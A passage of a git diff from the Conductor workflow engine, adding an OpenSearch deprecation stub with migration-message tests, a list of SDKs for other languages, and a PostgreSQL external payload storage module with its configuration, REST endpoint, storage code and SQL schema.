"2021-08-23T00:18:25.121Z", + "status": "SCHEDULED", + "workflowPriority": 1, + "queueWaitTime": 0, + "executionTime": 0, + "input": "{http_request={method=GET, vipStack=test_stack, body={requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath, inputPaths=[file://path1, file://path2]}, uri=/get/something}}" +} \ No newline at end of file diff --git a/os-persistence-v3/src/test/resources/workflow_summary.json b/os-persistence-v3/src/test/resources/workflow_summary.json new file mode 100644 index 0000000..443d846 --- /dev/null +++ b/os-persistence-v3/src/test/resources/workflow_summary.json @@ -0,0 +1,12 @@ +{ + "workflowType": "template_workflow", + "version": 1, + "workflowId": "WORKFLOW_INSTANCE_ID", + "priority": 1, + "correlationId": "testTaskDefTemplate", + "startTime": 1534983505050, + "updateTime": 1534983505131, + "endTime": 0, + "status": "RUNNING", + "input": "{path1=file://path1, path2=file://path2, requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath}" +} diff --git a/os-persistence/README.md b/os-persistence/README.md new file mode 100644 index 0000000..1b0fab4 --- /dev/null +++ b/os-persistence/README.md @@ -0,0 +1,58 @@ +# OpenSearch Persistence - DEPRECATED + +⚠️ **This module is deprecated and provides only a migration error message.** + +## What Happened? + +The generic `conductor.indexing.type=opensearch` configuration has been replaced with version-specific modules: + +- **`os-persistence-v2`** - For OpenSearch 2.x +- **`os-persistence-v3`** - For OpenSearch 3.x + +This change enables proper dependency isolation between OpenSearch 2.x and 3.x clients, which use incompatible package namespaces. + +## Migration + +Change your configuration from: + +```properties +conductor.indexing.type=opensearch +conductor.opensearch.url=http://localhost:9200 +``` + +To one of: + +```properties +# For OpenSearch 2.x +conductor.indexing.type=opensearch2 +conductor.opensearch.url=http://localhost:9200 +``` + +```properties +# For OpenSearch 3.x +conductor.indexing.type=opensearch3 +conductor.opensearch.url=http://localhost:9200 +``` + +All other `conductor.opensearch.*` properties remain the same. + +## Why the Change? + +- OpenSearch 2.x and 3.x clients use identical package names (`org.opensearch.client.*`) +- Having both on the classpath causes conflicts +- Version-specific modules use shadow plugin to relocate packages and avoid conflicts +- Follows the same pattern as `es6-persistence` and `es7-persistence` + +## Legacy Code Reference + +If you need the original OpenSearch 1.x persistence module code for reference, it has been archived at: + +https://github.com/conductor-oss/conductor-os-persistence-v1 + +**Note:** The archived module is no longer maintained and should not be used in production. + +## See Also + +- Issue #678: https://github.com/conductor-oss/conductor/issues/678 +- Legacy OpenSearch 1.x Module: https://github.com/conductor-oss/conductor-os-persistence-v1 +- Legacy Elasticsearch 6.x Module: https://github.com/conductor-oss/conductor-es6-persistence diff --git a/os-persistence/build.gradle b/os-persistence/build.gradle new file mode 100644 index 0000000..19ee718 --- /dev/null +++ b/os-persistence/build.gradle @@ -0,0 +1,6 @@ +// Deprecation stub for generic 'opensearch' indexing type +// This module only provides a helpful error message directing users to opensearch2 or opensearch3 + +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' +} diff --git a/os-persistence/src/main/java/com/netflix/conductor/os/config/OpenSearchDeprecationConfiguration.java b/os-persistence/src/main/java/com/netflix/conductor/os/config/OpenSearchDeprecationConfiguration.java new file mode 100644 index 0000000..1104ea1 --- /dev/null +++ b/os-persistence/src/main/java/com/netflix/conductor/os/config/OpenSearchDeprecationConfiguration.java @@ -0,0 +1,86 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.os.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Configuration; + +import jakarta.annotation.PostConstruct; + +/** + * Deprecation stub for the generic 'opensearch' indexing type. + * + *

    This configuration activates when {@code conductor.indexing.type=opensearch} is used, which is + * now deprecated in favor of version-specific types. + * + *

    The generic OpenSearch module has been split into version-specific modules to support both + * OpenSearch 2.x and 3.x with isolated dependencies. Users must now explicitly specify which + * version they're using. + * + *

    Migration Required: + * + *

    Change your configuration from: + * + * 

    {@code
+ * conductor.indexing.type=opensearch
+ * conductor.opensearch.url=http://localhost:9200
+ * }
    + * + *

    To one of: + * + * 

    {@code
+ * # For OpenSearch 2.x
+ * conductor.indexing.type=opensearch2
+ * conductor.opensearch.url=http://localhost:9200
+ *
+ * # OR for OpenSearch 3.x
+ * conductor.indexing.type=opensearch3
+ * conductor.opensearch.url=http://localhost:9200
+ * }
    + * + * @see Issue #678 + */ +@Configuration +@ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "opensearch") +public class OpenSearchDeprecationConfiguration { + + @PostConstruct + public void failWithMigrationMessage() { + String message = + "\n" + + "╔════════════════════════════════════════════════════════════════════════════╗\n" + + "║ CONFIGURATION ERROR: Generic 'opensearch' indexing type is deprecated ║\n" + + "╠════════════════════════════════════════════════════════════════════════════╣\n" + + "║ ║\n" + + "║ The generic OpenSearch module has been replaced with version-specific ║\n" + + "║ modules to support both OpenSearch 2.x and 3.x. ║\n" + + "║ ║\n" + + "║ REQUIRED ACTION: Update your configuration ║\n" + + "║ ║\n" + + "║ FROM: ║\n" + + "║ conductor.indexing.type=opensearch ║\n" + + "║ ║\n" + + "║ TO (choose one): ║\n" + + "║ conductor.indexing.type=opensearch2 # For OpenSearch 2.x ║\n" + + "║ conductor.indexing.type=opensearch3 # For OpenSearch 3.x ║\n" + + "║ ║\n" + + "║ All other conductor.opensearch.* properties remain the same. ║\n" + + "║ ║\n" + + "║ Legacy code: github.com/conductor-oss/conductor-os-persistence-v1 ║\n" + + "║ See: https://github.com/conductor-oss/conductor/issues/678 ║\n" + + "║ ║\n" + + "╚════════════════════════════════════════════════════════════════════════════╝\n"; + + throw new IllegalStateException(message); + } +} diff --git a/os-persistence/src/test/java/com/netflix/conductor/os/config/OpenSearchDeprecationTest.java b/os-persistence/src/test/java/com/netflix/conductor/os/config/OpenSearchDeprecationTest.java new file mode 100644 index 0000000..5256b1d --- /dev/null +++ b/os-persistence/src/test/java/com/netflix/conductor/os/config/OpenSearchDeprecationTest.java @@ -0,0 +1,172 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.os.config; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** Tests that verify the deprecated generic 'opensearch' indexing type throws a helpful error. */ +public class OpenSearchDeprecationTest { + + // ========================================================================= + // Test: Error message contains migration instructions + // ========================================================================= + + @Test + public void testDeprecationConfigurationThrowsHelpfulError() { + OpenSearchDeprecationConfiguration config = new OpenSearchDeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify error message contains key information + assertTrue( + "Error should mention it's a configuration error", + message.contains("CONFIGURATION ERROR")); + + assertTrue( + "Error should mention 'opensearch' is deprecated", + message.contains("deprecated") || message.contains("DEPRECATED")); + + assertTrue( + "Error should show the old configuration", + message.contains("conductor.indexing.type=opensearch")); + + assertTrue("Error should show opensearch2 option", message.contains("opensearch2")); + + assertTrue("Error should show opensearch3 option", message.contains("opensearch3")); + + assertTrue( + "Error should mention OpenSearch 2.x", + message.contains("2.x") || message.contains("2")); + + assertTrue( + "Error should mention OpenSearch 3.x", + message.contains("3.x") || message.contains("3")); + + assertTrue("Error should reference issue #678", message.contains("678")); + } + } + + // ========================================================================= + // Test: Configuration only activates with exact 'opensearch' value + // ========================================================================= + + @Test + public void testConfigurationDoesNotActivateForOpensearch2() { + // This test verifies the @ConditionalOnProperty is specific to "opensearch" + // We can't easily test Spring conditions directly, but we can verify + // the annotation is configured correctly by checking it doesn't match variants + + // The actual condition uses havingValue = "opensearch" which should NOT match: + // - "opensearch2" + // - "opensearch3" + // - "opensearch-2" + // - etc. + + // This is implicitly tested by the module activation tests in v2 and v3, + // but documented here for clarity + assertTrue("Test passes to document the specific matching behavior", true); + } + + // ========================================================================= + // Test: Deprecation message formatting is readable + // ========================================================================= + + @Test + public void testDeprecationMessageIsWellFormatted() { + OpenSearchDeprecationConfiguration config = new OpenSearchDeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify message has box formatting (makes it stand out in logs) + assertTrue( + "Message should have top border", + message.contains("╔") || message.contains("=")); + + assertTrue( + "Message should have bottom border", + message.contains("╚") || message.contains("=")); + + // Verify message has multiple lines (not just a single line error) + String[] lines = message.split("\n"); + assertTrue("Message should be multi-line for readability", lines.length > 5); + + // Verify message is not too verbose (should fit in terminal) + assertTrue("Message should be concise (under 30 lines)", lines.length < 30); + } + } + + // ========================================================================= + // Test: Unit test for PostConstruct behavior + // ========================================================================= + + @Test(expected = IllegalStateException.class) + public void testPostConstructAlwaysThrows() { + // The @PostConstruct method should always throw + OpenSearchDeprecationConfiguration config = new OpenSearchDeprecationConfiguration(); + config.failWithMigrationMessage(); + } + + // ========================================================================= + // Test: Verify GitHub issue link is present + // ========================================================================= + + @Test + public void testErrorMessageIncludesGitHubIssueLink() { + OpenSearchDeprecationConfiguration config = new OpenSearchDeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify GitHub issue URL is included + assertTrue( + "Error should include GitHub issue link", + message.contains("github.com/conductor-oss/conductor/issues/678") + || message.contains("issues/678")); + } + } + + // ========================================================================= + // Test: Verify migration instructions mention shared properties + // ========================================================================= + + @Test + public void testErrorMessageMentionsSharedProperties() { + OpenSearchDeprecationConfiguration config = new OpenSearchDeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify message mentions that other properties remain the same + assertTrue( + "Error should mention properties remain the same", + message.contains("remain the same") + || message.contains("conductor.opensearch.*")); + } + } +} diff --git a/polyglot-clients/README.md b/polyglot-clients/README.md new file mode 100644 index 0000000..250a906 --- /dev/null +++ b/polyglot-clients/README.md @@ -0,0 +1,16 @@ +# SDKs for other languages + +Language specific client SDKs are maintained at a dedicated [conductor-sdk](https://github.com/conductor-sdk) repository. + + +Check the repository for the latest list, but there are SDK clients for: + +## SDK List +* [Clojure](https://github.com/conductor-sdk/conductor-clojure) +* [C#](https://github.com/conductor-sdk/conductor-csharp) +* [Go](https://github.com/conductor-sdk/conductor-go) +* [Python](https://github.com/conductor-sdk/conductor-python) + + +### In progress (PRs encouraged!) +* [JavaScript](https://github.com/conductor-sdk/conductor-javascript) \ No newline at end of file diff --git a/postgres-external-storage/README.md b/postgres-external-storage/README.md new file mode 100644 index 0000000..341d545 --- /dev/null +++ b/postgres-external-storage/README.md @@ -0,0 +1,24 @@ +# PostgreSQL External Storage Module + +This module use PostgreSQL to store and retrieve workflows/tasks input/output payload that +went over the thresholds defined in properties named `conductor.[workflow|task].[input|output].payload.threshold.kb`. + +## Configuration + +### Usage + +Cf. Documentation [External Payload Storage](https://netflix.github.io/conductor/externalpayloadstorage/#postgresql-storage) + +### Example + +```properties +conductor.external-payload-storage.type=postgres +conductor.external-payload-storage.postgres.conductor-url=http://localhost:8080 +conductor.external-payload-storage.postgres.url=jdbc:postgresql://postgresql:5432/conductor?charset=utf8&parseTime=true&interpolateParams=true +conductor.external-payload-storage.postgres.username=postgres +conductor.external-payload-storage.postgres.password=postgres +conductor.external-payload-storage.postgres.max-data-rows=1000000 +conductor.external-payload-storage.postgres.max-data-days=0 +conductor.external-payload-storage.postgres.max-data-months=0 +conductor.external-payload-storage.postgres.max-data-years=1 +``` \ No newline at end of file diff --git a/postgres-external-storage/build.gradle b/postgres-external-storage/build.gradle new file mode 100644 index 0000000..780fe5c --- /dev/null +++ b/postgres-external-storage/build.gradle @@ -0,0 +1,20 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-web' + + implementation "org.postgresql:postgresql:${revPostgres}" + implementation 'org.springframework.boot:spring-boot-starter-jdbc' + implementation "org.flywaydb:flyway-core:${revFlyway}" + implementation "org.flywaydb:flyway-database-postgresql:${revFlyway}" + + implementation "org.springdoc:springdoc-openapi-starter-webmvc-ui:${revSpringDoc}" + implementation "commons-codec:commons-codec:${revCodec}" + + testImplementation 'org.springframework.boot:spring-boot-starter-web' + testImplementation "org.testcontainers:postgresql:${revTestContainer}" + testImplementation project(':conductor-test-util').sourceSets.test.output + +} diff --git a/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadConfiguration.java b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadConfiguration.java new file mode 100644 index 0000000..57ea3d9 --- /dev/null +++ b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadConfiguration.java @@ -0,0 +1,84 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.config; + +import java.util.Map; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.DependsOn; +import org.springframework.context.annotation.Import; + +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.postgres.storage.PostgresPayloadStorage; + +import jakarta.annotation.*; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(PostgresPayloadProperties.class) +@ConditionalOnProperty(name = "conductor.external-payload-storage.type", havingValue = "postgres") +@Import(DataSourceAutoConfiguration.class) +public class PostgresPayloadConfiguration { + + PostgresPayloadProperties properties; + DataSource dataSource; + IDGenerator idGenerator; + private static final String DEFAULT_MESSAGE_TO_USER = + "{\"Error\": \"Data with this ID does not exist or has been deleted from the external storage.\"}"; + + public PostgresPayloadConfiguration( + PostgresPayloadProperties properties, DataSource dataSource, IDGenerator idGenerator) { + this.properties = properties; + this.dataSource = dataSource; + this.idGenerator = idGenerator; + } + + @Bean(initMethod = "migrate") + @PostConstruct + public Flyway flywayForExternalDb() { + return Flyway.configure() + .locations("classpath:db/migration_external_postgres") + .schemas("external") + .baselineOnMigrate(true) + .placeholderReplacement(true) + .placeholders( + Map.of( + "tableName", + properties.getTableName(), + "maxDataRows", + String.valueOf(properties.getMaxDataRows()), + "maxDataDays", + "'" + properties.getMaxDataDays() + "'", + "maxDataMonths", + "'" + properties.getMaxDataMonths() + "'", + "maxDataYears", + "'" + properties.getMaxDataYears() + "'")) + .dataSource(dataSource) + .load(); + } + + @Bean + @DependsOn({"flywayForExternalDb"}) + public ExternalPayloadStorage postgresExternalPayloadStorage( + PostgresPayloadProperties properties) { + return new PostgresPayloadStorage( + properties, dataSource, idGenerator, DEFAULT_MESSAGE_TO_USER); + } +} diff --git a/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadProperties.java b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadProperties.java new file mode 100644 index 0000000..04b3485 --- /dev/null +++ b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadProperties.java @@ -0,0 +1,134 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.external-payload-storage.postgres") +public class PostgresPayloadProperties { + + /** The PostgreSQL schema and table name where the payloads will be stored */ + private String tableName = "external.external_payload"; + + /** Username for connecting to PostgreSQL database */ + private String username; + + /** Password for connecting to PostgreSQL database */ + private String password; + + /** URL for connecting to PostgreSQL database */ + private String url; + + /** + * Maximum count of data rows in PostgreSQL database. After overcoming this limit, the oldest + * data will be deleted. + */ + private long maxDataRows = Long.MAX_VALUE; + + /** + * Maximum count of days of data age in PostgreSQL database. After overcoming limit, the oldest + * data will be deleted. + */ + private int maxDataDays = 0; + + /** + * Maximum count of months of data age in PostgreSQL database. After overcoming limit, the + * oldest data will be deleted. + */ + private int maxDataMonths = 0; + + /** + * Maximum count of years of data age in PostgreSQL database. After overcoming limit, the oldest + * data will be deleted. + */ + private int maxDataYears = 1; + + /** + * URL, that can be used to pull the json configurations, that will be downloaded from + * PostgreSQL to the conductor server. For example: for local development it is + * "http://localhost:8080" + */ + private String conductorUrl = ""; + + public String getTableName() { + return tableName; + } + + public String getUsername() { + return username; + } + + public String getPassword() { + return password; + } + + public String getUrl() { + return url; + } + + public String getConductorUrl() { + return conductorUrl; + } + + public long getMaxDataRows() { + return maxDataRows; + } + + public int getMaxDataDays() { + return maxDataDays; + } + + public int getMaxDataMonths() { + return maxDataMonths; + } + + public int getMaxDataYears() { + return maxDataYears; + } + + public void setTableName(String tableName) { + this.tableName = tableName; + } + + public void setUsername(String username) { + this.username = username; + } + + public void setPassword(String password) { + this.password = password; + } + + public void setUrl(String url) { + this.url = url; + } + + public void setConductorUrl(String conductorUrl) { + this.conductorUrl = conductorUrl; + } + + public void setMaxDataRows(long maxDataRows) { + this.maxDataRows = maxDataRows; + } + + public void setMaxDataDays(int maxDataDays) { + this.maxDataDays = maxDataDays; + } + + public void setMaxDataMonths(int maxDataMonths) { + this.maxDataMonths = maxDataMonths; + } + + public void setMaxDataYears(int maxDataYears) { + this.maxDataYears = maxDataYears; + } +} diff --git a/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResource.java b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResource.java new file mode 100644 index 0000000..d8e1dae --- /dev/null +++ b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResource.java @@ -0,0 +1,57 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.controller; + +import java.io.InputStream; + +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.core.io.InputStreamResource; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.utils.ExternalPayloadStorage; + +import io.swagger.v3.oas.annotations.Operation; + +/** + * REST controller for pulling payload stream of data by key (externalPayloadPath) from PostgreSQL + * database + */ +@RestController +@RequestMapping(value = "/api/external/postgres") +@ConditionalOnProperty(name = "conductor.external-payload-storage.type", havingValue = "postgres") +public class ExternalPostgresPayloadResource { + + private final ExternalPayloadStorage postgresService; + + public ExternalPostgresPayloadResource( + @Qualifier("postgresExternalPayloadStorage") ExternalPayloadStorage postgresService) { + this.postgresService = postgresService; + } + + @GetMapping("/{externalPayloadPath}") + @Operation( + summary = + "Get task or workflow by externalPayloadPath from External PostgreSQL Storage") + public ResponseEntity getExternalStorageData( + @PathVariable("externalPayloadPath") String externalPayloadPath) { + InputStream inputStream = postgresService.download(externalPayloadPath); + InputStreamResource outputStreamBody = new InputStreamResource(inputStream); + return ResponseEntity.ok().contentType(MediaType.APPLICATION_JSON).body(outputStreamBody); + } +} diff --git a/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorage.java b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorage.java new file mode 100644 index 0000000..4561993 --- /dev/null +++ b/postgres-external-storage/src/main/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorage.java @@ -0,0 +1,164 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.storage; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.function.Supplier; + +import javax.sql.DataSource; + +import org.apache.commons.codec.digest.DigestUtils; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.postgres.config.PostgresPayloadProperties; + +/** + * Store and pull the external payload which consists of key and stream of data in PostgreSQL + * database + */ +public class PostgresPayloadStorage implements ExternalPayloadStorage { + + private static final Logger LOGGER = LoggerFactory.getLogger(PostgresPayloadStorage.class); + public static final String URI_SUFFIX_HASHED = ".hashed.json"; + public static final String URI_SUFFIX = ".json"; + public static final String URI_PREFIX_EXTERNAL = "/api/external/postgres/"; + private final String defaultMessageToUser; + + private final DataSource postgresDataSource; + + private final IDGenerator idGenerator; + + private final String tableName; + private final String conductorUrl; + + public PostgresPayloadStorage( + PostgresPayloadProperties properties, + DataSource dataSource, + IDGenerator idGenerator, + String defaultMessageToUser) { + tableName = properties.getTableName(); + conductorUrl = properties.getConductorUrl(); + this.postgresDataSource = dataSource; + this.idGenerator = idGenerator; + this.defaultMessageToUser = defaultMessageToUser; + LOGGER.info("PostgreSQL Extenal Payload Storage initialized."); + } + + /** + * @param operation the type of {@link Operation} to be performed + * @param payloadType the {@link PayloadType} that is being accessed + * @return a {@link ExternalStorageLocation} object which contains the pre-signed URL and the + * PostgreSQL object key for the json payload + */ + @Override + public ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path) { + + return getLocationInternal(path, () -> idGenerator.generate() + URI_SUFFIX); + } + + @Override + public ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path, byte[] payloadBytes) { + + return getLocationInternal( + path, () -> DigestUtils.sha256Hex(payloadBytes) + URI_SUFFIX_HASHED); + } + + private ExternalStorageLocation getLocationInternal( + String path, Supplier calculateKey) { + ExternalStorageLocation externalStorageLocation = new ExternalStorageLocation(); + String objectKey; + if (StringUtils.isNotBlank(path)) { + objectKey = path; + } else { + objectKey = calculateKey.get(); + } + String uri = conductorUrl + URI_PREFIX_EXTERNAL + objectKey; + externalStorageLocation.setUri(uri); + externalStorageLocation.setPath(objectKey); + LOGGER.debug("External storage location URI: {}, location path: {}", uri, objectKey); + return externalStorageLocation; + } + + /** + * Uploads the payload to the given PostgreSQL object key. It is expected that the caller + * retrieves the object key using {@link #getLocation(Operation, PayloadType, String)} before + * making this call. + * + * @param key the PostgreSQL key of the object to be uploaded + * @param payload an {@link InputStream} containing the json payload which is to be uploaded + * @param payloadSize the size of the json payload in bytes + */ + @Override + public void upload(String key, InputStream payload, long payloadSize) { + try (Connection conn = postgresDataSource.getConnection(); + PreparedStatement stmt = + conn.prepareStatement( + "INSERT INTO " + + tableName + + " (id, data) VALUES (?, ?) ON CONFLICT(id) " + + "DO UPDATE SET created_on=CURRENT_TIMESTAMP")) { + stmt.setString(1, key); + stmt.setBinaryStream(2, payload, payloadSize); + stmt.executeUpdate(); + LOGGER.debug( + "External PostgreSQL uploaded key: {}, payload size: {}", key, payloadSize); + } catch (SQLException e) { + String msg = "Error uploading data into External PostgreSQL"; + LOGGER.error(msg, e); + throw new NonTransientException(msg, e); + } + } + + /** + * Downloads the payload stored in the PostgreSQL. + * + * @param key the PostgreSQL key of the object + * @return an input stream containing the contents of the object. Caller is expected to close + * the input stream. + */ + @Override + public InputStream download(String key) { + InputStream inputStream; + try (Connection conn = postgresDataSource.getConnection(); + PreparedStatement stmt = + conn.prepareStatement("SELECT data FROM " + tableName + " WHERE id = ?")) { + stmt.setString(1, key); + try (ResultSet rs = stmt.executeQuery()) { + if (!rs.next()) { + LOGGER.debug("External PostgreSQL data with this ID: {} does not exist", key); + return new ByteArrayInputStream(defaultMessageToUser.getBytes()); + } + inputStream = rs.getBinaryStream(1); + LOGGER.debug("External PostgreSQL downloaded key: {}", key); + } + } catch (SQLException e) { + String msg = "Error downloading data from external PostgreSQL"; + LOGGER.error(msg, e); + throw new NonTransientException(msg, e); + } + return inputStream; + } +} diff --git a/postgres-external-storage/src/main/resources/db/migration_external_postgres/R__initial_schema.sql b/postgres-external-storage/src/main/resources/db/migration_external_postgres/R__initial_schema.sql new file mode 100644 index 0000000..0d0d20d --- /dev/null +++ b/postgres-external-storage/src/main/resources/db/migration_external_postgres/R__initial_schema.sql @@ -0,0 +1,56 @@ +-- +-- Copyright 2022 Netflix, Inc. +-- +-- Licensed under the Apache License, Version 2.0 (the "License"); +-- you may not use this file except in compliance with the License. +-- You may obtain a copy of the License at +-- +-- http://www.apache.org/licenses/LICENSE-2.0 +-- +-- Unless required by applicable law or agreed to in writing, software +-- distributed under the License is distributed on an "AS IS" BASIS, +-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +-- See the License for the specific language governing permissions and +-- limitations under the License. +-- + + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR EXTERNAL PAYLOAD POSTGRES STORAGE +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE IF NOT EXISTS ${tableName} +( + id TEXT, + data bytea NOT NULL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (id) +); + +ALTER TABLE ${tableName} ALTER COLUMN data SET STORAGE EXTERNAL; + +-- Delete trigger to delete the oldest external_payload rows, +-- when there are too many or there are too old. + +DROP TRIGGER IF EXISTS tr_keep_row_number_steady ON ${tableName}; + +CREATE OR REPLACE FUNCTION keep_row_number_steady() + RETURNS TRIGGER AS +$body$ +DECLARE + time_interval interval := concat(${maxDataYears},' years ',${maxDataMonths},' mons ',${maxDataDays},' days' ); +BEGIN + WHILE ((SELECT count(id) FROM ${tableName}) > ${maxDataRows}) OR + ((SELECT min(created_on) FROM ${tableName}) < (CURRENT_TIMESTAMP - time_interval)) + LOOP + DELETE FROM ${tableName} + WHERE created_on = (SELECT min(created_on) FROM ${tableName}); + END LOOP; + RETURN NULL; +END; +$body$ + LANGUAGE plpgsql; + +CREATE TRIGGER tr_keep_row_number_steady + AFTER INSERT ON ${tableName} + FOR EACH ROW EXECUTE PROCEDURE keep_row_number_steady(); \ No newline at end of file diff --git a/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResourceTest.java b/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResourceTest.java new file mode 100644 index 0000000..1c05b5e --- /dev/null +++ b/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResourceTest.java @@ -0,0 +1,59 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

